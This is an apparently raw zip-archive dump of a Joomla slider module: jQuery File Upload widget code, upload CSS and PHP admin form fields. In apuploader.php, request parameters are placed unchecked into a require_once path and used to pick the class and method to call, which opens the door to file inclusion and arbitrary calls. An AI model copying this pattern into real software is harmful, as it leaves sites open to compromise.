                o.contentRange = 'bytes ' + ub + '-' +
                    (ub + o.chunkSize - 1) + '/' + fs;
                // Process the upload data (the blob and potential form data):
                that._initXHRData(o);
                // Add progress listeners for this chunk upload:
                that._initProgressListener(o);
                jqXHR = ((that._trigger('chunksend', null, o) !== false && $.ajax(o)) ||
                        that._getXHRPromise(false, o.context))
                    .done(function (result, textStatus, jqXHR) {
                        ub = that._getUploadedBytes(jqXHR) ||
                            (ub + o.chunkSize);
                        // Create a progress event if no final progress event
                        // with loaded equaling total has been triggered
                        // for this chunk:
                        if (currentLoaded + o.chunkSize - o._progress.loaded) {
                            that._onProgress($.Event('progress', {
                                lengthComputable: true,
                                loaded: ub - o.uploadedBytes,
                                total: ub - o.uploadedBytes
                            }), o);
                        }
                        options.uploadedBytes = o.uploadedBytes = ub;
                        o.result = result;
                        o.textStatus = textStatus;
                        o.jqXHR = jqXHR;
                        that._trigger('chunkdone', null, o);
                        that._trigger('chunkalways', null, o);
                        if (ub < fs) {
                            // File upload not yet complete,
                            // continue with the next chunk:
                            upload();
                        } else {
                            dfd.resolveWith(
                                o.context,
                                [result, textStatus, jqXHR]
                            );
                        }
                    })
                    .fail(function (jqXHR, textStatus, errorThrown) {
                        o.jqXHR = jqXHR;
                        o.textStatus = textStatus;
                        o.errorThrown = errorThrown;
                        that._trigger('chunkfail', null, o);
                        that._trigger('chunkalways', null, o);
                        dfd.rejectWith(
                            o.context,
                            [jqXHR, textStatus, errorThrown]
                        );
                    });
            };
            this._enhancePromise(promise);
            promise.abort = function () {
                return jqXHR.abort();
            };
            upload();
            return promise;
        },

        _beforeSend: function (e, data) {
            if (this._active === 0) {
                // the start callback is triggered when an upload starts
                // and no other uploads are currently running,
                // equivalent to the global ajaxStart event:
                this._trigger('start');
                // Set timer for global bitrate progress calculation:
                this._bitrateTimer = new this._BitrateTimer();
                // Reset the global progress values:
                this._progress.loaded = this._progress.total = 0;
                this._progress.bitrate = 0;
            }
            // Make sure the container objects for the .response() and
            // .progress() methods on the data object are available
            // and reset to their initial state:
            this._initResponseObject(data);
            this._initProgressObject(data);
            data._progress.loaded = data.loaded = data.uploadedBytes || 0;
            data._progress.total = data.total = this._getTotal(data.files) || 1;
            data._progress.bitrate = data.bitrate = 0;
            this._active += 1;
            // Initialize the global progress values:
            this._progress.loaded += data.loaded;
            this._progress.total += data.total;
        },

        _onDone: function (result, textStatus, jqXHR, options) {
            var total = options._progress.total,
                response = options._response;
            if (options._progress.loaded < total) {
                // Create a progress event if no final progress event
                // with loaded equaling total has been triggered:
                this._onProgress($.Event('progress', {
                    lengthComputable: true,
                    loaded: total,
                    total: total
                }), options);
            }
            response.result = options.result = result;
            response.textStatus = options.textStatus = textStatus;
            response.jqXHR = options.jqXHR = jqXHR;
            this._trigger('done', null, options);
        },

        _onFail: function (jqXHR, textStatus, errorThrown, options) {
            var response = options._response;
            if (options.recalculateProgress) {
                // Remove the failed (error or abort) file upload from
                // the global progress calculation:
                this._progress.loaded -= options._progress.loaded;
                this._progress.total -= options._progress.total;
            }
            response.jqXHR = options.jqXHR = jqXHR;
            response.textStatus = options.textStatus = textStatus;
            response.errorThrown = options.errorThrown = errorThrown;
            this._trigger('fail', null, options);
        },

        _onAlways: function (jqXHRorResult, textStatus, jqXHRorError, options) {
            // jqXHRorResult, textStatus and jqXHRorError are added to the
            // options object via done and fail callbacks
            this._trigger('always', null, options);
        },

        _onSend: function (e, data) {
            if (!data.submit) {
                this._addConvenienceMethods(e, data);
            }
            var that = this,
                jqXHR,
                aborted,
                slot,
                pipe,
                options = that._getAJAXSettings(data),
                send = function () {
                    that._sending += 1;
                    // Set timer for bitrate progress calculation:
                    options._bitrateTimer = new that._BitrateTimer();
                    jqXHR = jqXHR || (
                        ((aborted || that._trigger(
                            'send',
                            $.Event('send', {delegatedEvent: e}),
                            options
                        ) === false) &&
                        that._getXHRPromise(false, options.context, aborted)) ||
                        that._chunkedUpload(options) || $.ajax(options)
                    ).done(function (result, textStatus, jqXHR) {
                        that._onDone(result, textStatus, jqXHR, options);
                    }).fail(function (jqXHR, textStatus, errorThrown) {
                        that._onFail(jqXHR, textStatus, errorThrown, options);
                    }).always(function (jqXHRorResult, textStatus, jqXHRorError) {
                        that._onAlways(
                            jqXHRorResult,
                            textStatus,
                            jqXHRorError,
                            options
                        );
                        that._sending -= 1;
                        that._active -= 1;
                        if (options.limitConcurrentUploads &&
                                options.limitConcurrentUploads > that._sending) {
                            // Start the next queued upload,
                            // that has not been aborted:
                            var nextSlot = that._slots.shift();
                            while (nextSlot) {
                                if (that._getDeferredState(nextSlot) === 'pending') {
                                    nextSlot.resolve();
                                    break;
                                }
                                nextSlot = that._slots.shift();
                            }
                        }
                        if (that._active === 0) {
                            // The stop callback is triggered when all uploads have
                            // been completed, equivalent to the global ajaxStop event:
                            that._trigger('stop');
                        }
                    });
                    return jqXHR;
                };
            this._beforeSend(e, options);
            if (this.options.sequentialUploads ||
                    (this.options.limitConcurrentUploads &&
                    this.options.limitConcurrentUploads <= this._sending)) {
                if (this.options.limitConcurrentUploads > 1) {
                    slot = $.Deferred();
                    this._slots.push(slot);
                    pipe = slot.pipe(send);
                } else {
                    this._sequence = this._sequence.pipe(send, send);
                    pipe = this._sequence;
                }
                // Return the piped Promise object, enhanced with an abort method,
                // which is delegated to the jqXHR object of the current upload,
                // and jqXHR callbacks mapped to the equivalent Promise methods:
                pipe.abort = function () {
                    aborted = [undefined, 'abort', 'abort'];
                    if (!jqXHR) {
                        if (slot) {
                            slot.rejectWith(options.context, aborted);
                        }
                        return send();
                    }
                    return jqXHR.abort();
                };
                return this._enhancePromise(pipe);
            }
            return send();
        },

        _onAdd: function (e, data) {
            var that = this,
                result = true,
                options = $.extend({}, this.options, data),
                files = data.files,
                filesLength = files.length,
                limit = options.limitMultiFileUploads,
                limitSize = options.limitMultiFileUploadSize,
                overhead = options.limitMultiFileUploadSizeOverhead,
                batchSize = 0,
                paramName = this._getParamName(options),
                paramNameSet,
                paramNameSlice,
                fileSet,
                i,
                j = 0;
            if (limitSize && (!filesLength || files[0].size === undefined)) {
                limitSize = undefined;
            }
            if (!(options.singleFileUploads || limit || limitSize) ||
                    !this._isXHRUpload(options)) {
                fileSet = [files];
                paramNameSet = [paramName];
            } else if (!(options.singleFileUploads || limitSize) && limit) {
                fileSet = [];
                paramNameSet = [];
                for (i = 0; i < filesLength; i += limit) {
                    fileSet.push(files.slice(i, i + limit));
                    paramNameSlice = paramName.slice(i, i + limit);
                    if (!paramNameSlice.length) {
                        paramNameSlice = paramName;
                    }
                    paramNameSet.push(paramNameSlice);
                }
            } else if (!options.singleFileUploads && limitSize) {
                fileSet = [];
                paramNameSet = [];
                for (i = 0; i < filesLength; i = i + 1) {
                    batchSize += files[i].size + overhead;
                    if (i + 1 === filesLength ||
                            ((batchSize + files[i + 1].size + overhead) > limitSize) ||
                            (limit && i + 1 - j >= limit)) {
                        fileSet.push(files.slice(j, i + 1));
                        paramNameSlice = paramName.slice(j, i + 1);
                        if (!paramNameSlice.length) {
                            paramNameSlice = paramName;
                        }
                        paramNameSet.push(paramNameSlice);
                        j = i + 1;
                        batchSize = 0;
                    }
                }
            } else {
                paramNameSet = paramName;
            }
            data.originalFiles = files;
            $.each(fileSet || files, function (index, element) {
                var newData = $.extend({}, data);
                newData.files = fileSet ? element : [element];
                newData.paramName = paramNameSet[index];
                that._initResponseObject(newData);
                that._initProgressObject(newData);
                that._addConvenienceMethods(e, newData);
                result = that._trigger(
                    'add',
                    $.Event('add', {delegatedEvent: e}),
                    newData
                );
                return result;
            });
            return result;
        },

        _replaceFileInput: function (data) {
            var input = data.fileInput,
                inputClone = input.clone(true);
            // Add a reference for the new cloned file input to the data argument:
            data.fileInputClone = inputClone;
            $('<form></form>').append(inputClone)[0].reset();
            // Detaching allows to insert the fileInput on another form
            // without loosing the file input value:
            input.after(inputClone).detach();
            // Avoid memory leaks with the detached file input:
            $.cleanData(input.unbind('remove'));
            // Replace the original file input element in the fileInput
            // elements set with the clone, which has been copied including
            // event handlers:
            this.options.fileInput = this.options.fileInput.map(function (i, el) {
                if (el === input[0]) {
                    return inputClone[0];
                }
                return el;
            });
            // If the widget has been initialized on the file input itself,
            // override this.element with the file input clone:
            if (input[0] === this.element[0]) {
                this.element = inputClone;
            }
        },

        _handleFileTreeEntry: function (entry, path) {
            var that = this,
                dfd = $.Deferred(),
                errorHandler = function (e) {
                    if (e && !e.entry) {
                        e.entry = entry;
                    }
                    // Since $.when returns immediately if one
                    // Deferred is rejected, we use resolve instead.
                    // This allows valid files and invalid items
                    // to be returned together in one set:
                    dfd.resolve([e]);
                },
                successHandler = function (entries) {
                    that._handleFileTreeEntries(
                        entries,
                        path + entry.name + '/'
                    ).done(function (files) {
                        dfd.resolve(files);
                    }).fail(errorHandler);
                },
                readEntries = function () {
                    dirReader.readEntries(function (results) {
                        if (!results.length) {
                            successHandler(entries);
                        } else {
                            entries = entries.concat(results);
                            readEntries();
                        }
                    }, errorHandler);
                },
                dirReader, entries = [];
            path = path || '';
            if (entry.isFile) {
                if (entry._file) {
                    // Workaround for Chrome bug #149735
                    entry._file.relativePath = path;
                    dfd.resolve(entry._file);
                } else {
                    entry.file(function (file) {
                        file.relativePath = path;
                        dfd.resolve(file);
                    }, errorHandler);
                }
            } else if (entry.isDirectory) {
                dirReader = entry.createReader();
                readEntries();
            } else {
                // Return an empy list for file system items
                // other than files or directories:
                dfd.resolve([]);
            }
            return dfd.promise();
        },

        _handleFileTreeEntries: function (entries, path) {
            var that = this;
            return $.when.apply(
                $,
                $.map(entries, function (entry) {
                    return that._handleFileTreeEntry(entry, path);
                })
            ).pipe(function () {
                return Array.prototype.concat.apply(
                    [],
                    arguments
                );
            });
        },

        _getDroppedFiles: function (dataTransfer) {
            dataTransfer = dataTransfer || {};
            var items = dataTransfer.items;
            if (items && items.length && (items[0].webkitGetAsEntry ||
                    items[0].getAsEntry)) {
                return this._handleFileTreeEntries(
                    $.map(items, function (item) {
                        var entry;
                        if (item.webkitGetAsEntry) {
                            entry = item.webkitGetAsEntry();
                            if (entry) {
                                // Workaround for Chrome bug #149735:
                                entry._file = item.getAsFile();
                            }
                            return entry;
                        }
                        return item.getAsEntry();
                    })
                );
            }
            return $.Deferred().resolve(
                $.makeArray(dataTransfer.files)
            ).promise();
        },

        _getSingleFileInputFiles: function (fileInput) {
            fileInput = $(fileInput);
            var entries = fileInput.prop('webkitEntries') ||
                    fileInput.prop('entries'),
                files,
                value;
            if (entries && entries.length) {
                return this._handleFileTreeEntries(entries);
            }
            files = $.makeArray(fileInput.prop('files'));
            if (!files.length) {
                value = fileInput.prop('value');
                if (!value) {
                    return $.Deferred().resolve([]).promise();
                }
                // If the files property is not available, the browser does not
                // support the File API and we add a pseudo File object with
                // the input value as name with path information removed:
                files = [{name: value.replace(/^.*\\/, '')}];
            } else if (files[0].name === undefined && files[0].fileName) {
                // File normalization for Safari 4 and Firefox 3:
                $.each(files, function (index, file) {
                    file.name = file.fileName;
                    file.size = file.fileSize;
                });
            }
            return $.Deferred().resolve(files).promise();
        },

        _getFileInputFiles: function (fileInput) {
            if (!(fileInput instanceof $) || fileInput.length === 1) {
                return this._getSingleFileInputFiles(fileInput);
            }
            return $.when.apply(
                $,
                $.map(fileInput, this._getSingleFileInputFiles)
            ).pipe(function () {
                return Array.prototype.concat.apply(
                    [],
                    arguments
                );
            });
        },

        _onChange: function (e) {
            var that = this,
                data = {
                    fileInput: $(e.target),
                    form: $(e.target.form)
                };
            this._getFileInputFiles(data.fileInput).always(function (files) {
                data.files = files;
                if (that.options.replaceFileInput) {
                    that._replaceFileInput(data);
                }
                if (that._trigger(
                        'change',
                        $.Event('change', {delegatedEvent: e}),
                        data
                    ) !== false) {
                    that._onAdd(e, data);
                }
            });
        },

        _onPaste: function (e) {
            var items = e.originalEvent && e.originalEvent.clipboardData &&
                    e.originalEvent.clipboardData.items,
                data = {files: []};
            if (items && items.length) {
                $.each(items, function (index, item) {
                    var file = item.getAsFile && item.getAsFile();
                    if (file) {
                        data.files.push(file);
                    }
                });
                if (this._trigger(
                        'paste',
                        $.Event('paste', {delegatedEvent: e}),
                        data
                    ) !== false) {
                    this._onAdd(e, data);
                }
            }
        },

        _onDrop: function (e) {
            e.dataTransfer = e.originalEvent && e.originalEvent.dataTransfer;
            var that = this,
                dataTransfer = e.dataTransfer,
                data = {};
            if (dataTransfer && dataTransfer.files && dataTransfer.files.length) {
                e.preventDefault();
                this._getDroppedFiles(dataTransfer).always(function (files) {
                    data.files = files;
                    if (that._trigger(
                            'drop',
                            $.Event('drop', {delegatedEvent: e}),
                            data
                        ) !== false) {
                        that._onAdd(e, data);
                    }
                });
            }
        },

        _onDragOver: getDragHandler('dragover'),

        _onDragEnter: getDragHandler('dragenter'),

        _onDragLeave: getDragHandler('dragleave'),

        _initEventHandlers: function () {
            if (this._isXHRUpload(this.options)) {
                this._on(this.options.dropZone, {
                    dragover: this._onDragOver,
                    drop: this._onDrop,
                    // event.preventDefault() on dragenter is required for IE10+:
                    dragenter: this._onDragEnter,
                    // dragleave is not required, but added for completeness:
                    dragleave: this._onDragLeave
                });
                this._on(this.options.pasteZone, {
                    paste: this._onPaste
                });
            }
            if ($.support.fileInput) {
                this._on(this.options.fileInput, {
                    change: this._onChange
                });
            }
        },

        _destroyEventHandlers: function () {
            this._off(this.options.dropZone, 'dragenter dragleave dragover drop');
            this._off(this.options.pasteZone, 'paste');
            this._off(this.options.fileInput, 'change');
        },

        _setOption: function (key, value) {
            var reinit = $.inArray(key, this._specialOptions) !== -1;
            if (reinit) {
                this._destroyEventHandlers();
            }
            this._super(key, value);
            if (reinit) {
                this._initSpecialOptions();
                this._initEventHandlers();
            }
        },

        _initSpecialOptions: function () {
            var options = this.options;
            if (options.fileInput === undefined) {
                options.fileInput = this.element.is('input[type="file"]') ?
                        this.element : this.element.find('input[type="file"]');
            } else if (!(options.fileInput instanceof $)) {
                options.fileInput = $(options.fileInput);
            }
            if (!(options.dropZone instanceof $)) {
                options.dropZone = $(options.dropZone);
            }
            if (!(options.pasteZone instanceof $)) {
                options.pasteZone = $(options.pasteZone);
            }
        },

        _getRegExp: function (str) {
            var parts = str.split('/'),
                modifiers = parts.pop();
            parts.shift();
            return new RegExp(parts.join('/'), modifiers);
        },

        _isRegExpOption: function (key, value) {
            return key !== 'url' && $.type(value) === 'string' &&
                /^\/.*\/[igm]{0,3}$/.test(value);
        },

        _initDataAttributes: function () {
            var that = this,
                options = this.options,
                clone = $(this.element[0].cloneNode(false)),
                data = clone.data();
            // Avoid memory leaks:
            clone.remove();
            // Initialize options set via HTML5 data-attributes:
            $.each(
                data,
                function (key, value) {
                    var dataAttributeName = 'data-' +
                        // Convert camelCase to hyphen-ated key:
                        key.replace(/([a-z])([A-Z])/g, '$1-$2').toLowerCase();
                    if (clone.attr(dataAttributeName)) {
                        if (that._isRegExpOption(key, value)) {
                            value = that._getRegExp(value);
                        }
                        options[key] = value;
                    }
                }
            );
        },

        _create: function () {
            this._initDataAttributes();
            this._initSpecialOptions();
            this._slots = [];
            this._sequence = this._getXHRPromise(true);
            this._sending = this._active = 0;
            this._initProgressObject(this);
            this._initEventHandlers();
        },

        // This method is exposed to the widget API and allows to query
        // the number of active uploads:
        active: function () {
            return this._active;
        },

        // This method is exposed to the widget API and allows to query
        // the widget upload progress.
        // It returns an object with loaded, total and bitrate properties
        // for the running uploads:
        progress: function () {
            return this._progress;
        },

        // This method is exposed to the widget API and allows adding files
        // using the fileupload API. The data parameter accepts an object which
        // must have a files property and can contain additional options:
        // .fileupload('add', {files: filesList});
        add: function (data) {
            var that = this;
            if (!data || this.options.disabled) {
                return;
            }
            if (data.fileInput && !data.files) {
                this._getFileInputFiles(data.fileInput).always(function (files) {
                    data.files = files;
                    that._onAdd(null, data);
                });
            } else {
                data.files = $.makeArray(data.files);
                this._onAdd(null, data);
            }
        },

        // This method is exposed to the widget API and allows sending files
        // using the fileupload API. The data parameter accepts an object which
        // must have a files or fileInput property and can contain additional options:
        // .fileupload('send', {files: filesList});
        // The method returns a Promise object for the file upload call.
        send: function (data) {
            if (data && !this.options.disabled) {
                if (data.fileInput && !data.files) {
                    var that = this,
                        dfd = $.Deferred(),
                        promise = dfd.promise(),
                        jqXHR,
                        aborted;
                    promise.abort = function () {
                        aborted = true;
                        if (jqXHR) {
                            return jqXHR.abort();
                        }
                        dfd.reject(null, 'abort', 'abort');
                        return promise;
                    };
                    this._getFileInputFiles(data.fileInput).always(
                        function (files) {
                            if (aborted) {
                                return;
                            }
                            if (!files.length) {
                                dfd.reject();
                                return;
                            }
                            data.files = files;
                            jqXHR = that._onSend(null, data);
                            jqXHR.then(
                                function (result, textStatus, jqXHR) {
                                    dfd.resolve(result, textStatus, jqXHR);
                                },
                                function (jqXHR, textStatus, errorThrown) {
                                    dfd.reject(jqXHR, textStatus, errorThrown);
                                }
                            );
                        }
                    );
                    return this._enhancePromise(promise);
                }
                data.files = $.makeArray(data.files);
                if (data.files.length) {
                    return this._onSend(null, data);
                }
            }
            return this._getXHRPromise(false, data && data.context);
        }

    });

}));
PK!�#o,,>mod_ap_smart_layerslider/admin/apuploader/upload/js/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!�#o,,?mod_ap_smart_layerslider/admin/apuploader/upload/css/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!C��
OOMmod_ap_smart_layerslider/admin/apuploader/upload/css/jquery.fileupload-ui.cssnu&1i�@charset "UTF-8";
/*
 * jQuery File Upload UI Plugin CSS 9.0.0
 * https://github.com/blueimp/jQuery-File-Upload
 *
 * Copyright 2010, Sebastian Tschan
 * https://blueimp.net
 *
 * Licensed under the MIT license:
 * http://www.opensource.org/licenses/MIT
 */
.fileinput-button {
  position: relative;
  overflow: hidden;
  font-family:"museo_sans500", Arial, sans-serif;
  -webkit-font-smoothing:antialiased;
}
.fileinput-button input {
  position: absolute;
  top: 0;
  right: 0;
  margin: 0;
  opacity: 0;
  filter: alpha(opacity=0);
  transform: translate(-300px, 0) scale(4);
  font-size: 23px;
  direction: ltr;
  cursor: pointer;
}
.upload_images {
	text-align:center;
	font-size:15px;
	color:#999;
}

#progress{
	margin:10px auto 0;
	padding:0;
	}

.fileinput-button.btn-block img.upload_folder {
	opacity:0.6;
	margin-right:7px;
	-webkit-transition: all 0.4s ease-in-out;
	-moz-transition: all 0.4s ease-in-out;
	transition: all 0.4s ease-in-out;
	}
.fileinput-button.btn-block:hover img.upload_folder {opacity:1}

.fileinput-button.btn-block {
	border: 2px dashed #c0c0c0;
	text-align: center;
	-webkit-transition: all 0.3s ease-in-out;
	-moz-transition: all 0.3s ease-in-out;
	transition: all 0.3s ease-in-out;
	box-shadow: none;	
	background: url('data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI1IiBoZWlnaHQ9IjUiPg0KPHJlY3Qgd2lkdGg9IjUiIGhlaWdodD0iNSIgZmlsbD0iI2Y5ZjlmOSI+PC9yZWN0Pg0KPHBhdGggZD0iTTAgNUw1IDBaTTYgNEw0IDZaTS0xIDFMMSAtMVoiIHN0cm9rZT0iI2Y0ZjRmNCIgc3Ryb2tlLXdpZHRoPSIxIj48L3BhdGg+DQo8L3N2Zz4=') center center repeat;
}
.fileinput-button.btn-block:hover {
	border: 2px dashed #bbb;
	background: #E3F2DF url('data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI1IiBoZWlnaHQ9IjUiPg0KPHJlY3Qgd2lkdGg9IjUiIGhlaWdodD0iNSIgZmlsbD0iI0UzRjJERiI+PC9yZWN0Pg0KPHBhdGggZD0iTTAgNUw1IDBaTTYgNEw0IDZaTS0xIDFMMSAtMVoiIHN0cm9rZT0iI2Y1ZjVmNSIgc3Ryb2tlLXdpZHRoPSIxIj48L3BhdGg+DQo8L3N2Zz4=') center center repeat;
}
.fileinput-button.btn-block .select-files {
	line-height: 85px;
	font-size:18px;
	color:#888;
	-webkit-transition: all 0.3s ease-in-out;
	-moz-transition: all 0.3s ease-in-out;
	transition: all 0.3s ease-in-out;
}
.fileinput-button.btn-block:hover .select-files {
		color:#444;
}
.fileupload-buttonbar .btn,
.fileupload-buttonbar .toggle {
  margin-bottom: 5px;

}

#progress .bar {
	width:0%;
}
.progress-animated .progress-bar,
.progress-animated .bar {
  background: url("../img/progressbar.gif") !important;
  filter: none;
}
.fileupload-process {
  float: right;
  display: none;
}
.fileupload-processing .fileupload-process,
.files .processing .preview {
  display: block;
  width: 32px;
  height: 32px;
  background: url("../img/loading.gif") center no-repeat;
  background-size: contain;
}
.files audio,
.files video {
  max-width: 300px;
}

@media (max-width: 767px) {
  .fileupload-buttonbar .toggle,
  .files .toggle,
  .files .btn span {
    display: none;
  }
  .files .name {
    width: 80px;
    word-wrap: break-word;
  }
  .files audio,
  .files video {
    max-width: 80px;
  }
  .files img,
  .files canvas {
    max-width: 100%;
  }
}
PK!e���FF-mod_ap_smart_layerslider/admin/apuploader.phpnu&1i�<?php
/**
 * @package 	apuploader.php
 * @author		Aplikko
 * @email		contact@aplikko.com
 * @website		http://aplikko.com
 * @copyright	Copyright (C) 2015 Aplikko.com. All rights reserved.
 * @license		http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
**/

// no direct access
defined('_JEXEC') or die;

jimport('joomla.form.formfield');

class JFormFieldApuploader extends JFormField {
    protected $type = 'Apuploader';
    protected function getInput() {
		$params = $this->form->getValue('params');
		//remove request param label
		$doc = JFactory::getDocument();
		
		$doc->addScriptDeclaration("
		jQuery(window).load(function(){
			jQuery('#jform_params_apuploader-lbl').parent().remove();
		});");

		$command = JRequest::getString('command', '');
		$apuploader = strtolower(JRequest::getString('apuploader'));
		$path = JRequest::getString('path', '');
		//process
        if ($apuploader && $command) {
			
			//load file to excute command
			require_once(dirname((dirname(__FILE__))).'/admin/apuploader/'.$apuploader.'.php');
            $obLevel = ob_get_level();
			if($obLevel){
				while ($obLevel > 0 ) {
					ob_end_clean();
					$obLevel --;
				}
			}else{
				ob_clean();
			}
            $obj = new $apuploader();
			
			$data = $obj->$command($params);
			echo json_encode($data);
			
            exit;
        }
    }    
    
}PK!��o��.mod_ap_smart_layerslider/admin/themeselect.phpnu&1i�<?php
/**
 * @package 	themeselect.php
 * @author		Aplikko
 * @email		contact@aplikko.com
 * @website		http://aplikko.com
 * @copyright	Copyright (C) 2018 Aplikko.com. All rights reserved.
 * @license		http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
**/

// no direct access
defined('_JEXEC') or die;

class JFormFieldThemeselect extends JFormField {
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  11.1
	 */
	protected $type = 'Themeselect';
	
	protected $active_sub_fields = '';

	/**
	 * List of all sub-fields
	 * 
	 * @var		string
	 */
	protected $sub_fields_list = array();

	/**
	 * Method to get the field input markup.
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   11.1
	 */
	/**
	* Method to get the label for a field input.
	* @return  string  The form field label.
	*/
	protected function getLabel() {
    $html = array();
           
    $label = $this->element['label'];
	$theme = $this->element['name'];
	$label = $this->translateLabel ? JText::_($label) : $label;     
    $class = $this->element['class']; 
	$class = $this->translateLabel ? JText::_($class) : $class;
	
	$html[] = '<label class="'.$theme.' hasTooltip" title="'.JText::_($this->element['description']).'">'
				. $label
				. '<span class="fa fa-check-square"></span>'
				. '</label>';	

    return implode('',$html);
	}

	/**
	 * Method to get the radio button field input markup.
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   11.1
	 */
	
	protected function getInput(){

		$doc = JFactory::getDocument();
		
		$html = array();
		// Initialize some field attributes.
		$class = $this->element['class'] ? ' class="' . (string) $this->element['class'] . '"' : ' class="radio"';

		// Start the radio field output.
		$html[] = '<fieldset id="' . $this->id . '"' . $class . '>';

		// Get the field options.
		$options = $this->getOptions();

		// Build the radio field output.
		foreach ($options as $i => $option) {

			$theme = htmlspecialchars($option->value, ENT_COMPAT, 'UTF-8');
			$thumbpath = JURI::root(true).'/modules/'.basename(dirname(__DIR__)).'/admin/images/themes/'.$theme.'.png';

			// Initialize some option attributes.
			$checked = ((string) $option->value == (string) $this->value) ? ' checked="checked"' : '';
			$class = !empty($option->class) ? ' class="' . $option->class . '"' : '';
			$disabled = !empty($option->disable) ? ' disabled="disabled"' : '';

			// Initialize some JavaScript option attributes.
			$onclick = !empty($option->onclick) ? ' onclick="' . $option->onclick . '"' : '';

			$html[] = '<input type="radio" id="' . $this->id . $i . '" name="' . $this->name . '"' . ' value="'
				. $theme . '"' . $checked . $class . $onclick . $disabled . '/>';
			$html[] = '<label for="' . $this->id . $i . '" class="'.$class.'">'
				. '<div class="select hasTooltip" title="'.ucfirst($this->element['name']).': '.JText::_('Style').' '.JText::_(ucfirst($theme)).'"><img src="'.$thumbpath.'" /><p class="desc">'.JText::_('Style').' <span class="nmbr">'.$theme.'</span></p>'
				. '</div>'
				. '</label>';
		}

		// End the radio field output.
		$html[] = '</fieldset>';
		?>
        
		<script type="text/javascript">
		
			var ap_subfield_<?php echo $this->element['name']; ?> = "<?php echo implode(',', $this->sub_fields_list); ?>";
			
			// Select (radios)
			jQuery(document).ready(function(){
				jQuery("input[id^='<?php echo $this->id; ?>']").css({"visibility":"hidden","display":"none"});//hide default radios
				var checkeditem = jQuery("input[id^='<?php echo $this->id; ?>']:checked").next().children();
				checkeditem.addClass("highlight");
				jQuery(".select").click(function(){
				jQuery(".select").removeClass("highlight");
				jQuery(".marker").fadeOut(300, function() { jQuery(this).remove(); });
				jQuery(this).toggleClass("highlight").fadeIn(300);
				});
				
				ap_HideOptions(ap_subfield_<?php echo $this->element['name']; ?>);
				ap_ShowOptions('<?php echo $this->active_sub_fields; ?>');  
				
			});

		</script>
		<?php	
		return implode($html);
	}
			
	/**
	 * Method to get the field options for radio buttons.
	 * @return  array  The field option objects.
	 * @since   11.1
	 */
	protected function getOptions() {

		// Initialize variables.
		$options = array();

		foreach ($this->element->children() as $option) {

			// Only add <option /> elements.
			if ($option->getName() != 'option') {
				continue;
			}

			// Create a new option object based on the <option /> element.
			$tmp = JHtml::_('select.option', (string) $option['value'], trim((string) $option), 'value', 'text', ((string) $option['disabled'] == 'true')
			);

			// Set some option attributes.
			$tmp->class = (string) $option['class'];

			// Get sub_fields.
			$sub_fields = str_replace("\n", '', trim($option['sub_fields']));
			if (!empty($sub_fields)) {
				$this->sub_fields_list = array_merge($this->sub_fields_list, array((string) $option['value'] => $sub_fields));
			}

			// Check if it's selected
			if ($option["value"] == $this->value) {
				$this->active_sub_fields = $sub_fields;
			}

			// Set some JavaScript option attributes.
			$onclick = !empty($option['onclick']) ? (string) $option['onclick'] : '';
			$tmp->class .= $this->element['name']; // Add class to sub fileds if not empty

			// Add default onclick
			$onclick .= 'ap_HideOptions(ap_subfield_' . $this->element['name'] . ');';
			$onclick .= "ap_ShowOptions('$sub_fields');";
			

			$tmp->onclick = $onclick;

			// Add the option object to the result set.
			$options[] = $tmp;
		}

		reset($options);

		return $options;
	}
		
	public function renderField($options = array()) {
	return '<div class="'.$this->element['name'].'">'
		. '<div class="control-label span12">' . $this->getLabel() . '</div>'
		. '<div class="controls">' . $this->getInput() . '</div>'
		. '</div>';
 	}
}
PK!es�o�
�
.mod_ap_smart_layerslider/admin/apcolorrgba.phpnu&1i�<?php
/**
 * @package 	apcolorrgba.php
 * @author		Aplikko
 * @email		contact@aplikko.com
 * @website		http://aplikko.com
 * @copyright	Copyright (C) 2015 Aplikko.com. All rights reserved.
 * @license		http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
**/

// no direct access
defined('_JEXEC') or die;


jimport('joomla.form.formfield');

/**
 * Form Field class for the Joomla Framework.
 *
 * @package		Joomla.Framework
 * @subpackage	Form
 * @since		1.6
 */
class JFormFieldApcolorrgba extends JFormField
{
	/**
	 * The form field type.
	 *
	 * @var		string
	 * @since	1.6
	 */
	protected $type = 'apcolorrgba';

	/**
	 * Method to get the field input markup.
	 *
	 * @return	string	The field input markup.
	 * @since	1.6
	 */
	 
	protected function getInput() {
	
		$moduleName =  basename(dirname(__DIR__));	
		$doc= JFactory::getDocument();
	
		// add colorpicker for map color field
		$doc->addStyleSheet(JURI::root(true).'/modules/'.$moduleName.'/admin/colorpicker/css/bootstrap-colorpicker.css');
        JHTML::script('modules/'.$moduleName.'/admin/colorpicker/js/bootstrap-colorpicker.js');
		
		$scripts = '
		jQuery(function(){
			jQuery("#'.$this->id.'").colorpicker({format:"rgba"});
			jQuery("#'.$this->id.' .add-on i").click(function(c){
				c.preventDefault();
				jQuery("#'.$this->id.'").colorpicker("enable");
				jQuery(".helpcolor.'.$this->id.'").fadeOut(500);
			});	
			jQuery(".helpcolor.'.$this->id.'").popover({trigger: "hover"});
			jQuery("#'.$this->id.'-info").popover("destroy");
			
			jQuery("#'.$this->id.'").click(function(){
				jQuery("#'.$this->id.'-info").popover("destroy");
			});		
		});
		';
		JFactory::getDocument()->addScriptDeclaration($scripts);		
		
		$class = $this->element['class'];
		$value = htmlspecialchars(html_entity_decode($this->value, ENT_QUOTES), ENT_QUOTES);
		$transparent = ($value == "") ? 'transparent' : $value;
		
        $background = 'style="background:'.$value.'"';
		$transparent_background = 'style="background:rgba(0,0,0,0);"';
		
		$fieldID = str_replace(array('jform[params]','[',']','_'), ' ', $this->name);
		$fieldID = ucfirst(strtolower(trim($fieldID)));

		if(($value) == "") {
			return '
			<div class="input-append color" data-color="rgba(0,0,0,0)" data-color-format="rgba" id="'.$this->id.'">
